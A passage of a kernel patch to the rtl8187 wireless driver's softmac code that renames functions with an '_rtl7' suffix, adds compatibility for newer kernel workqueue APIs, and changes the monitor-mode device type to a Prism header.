spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-03-05 00:31:52.575346444 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - 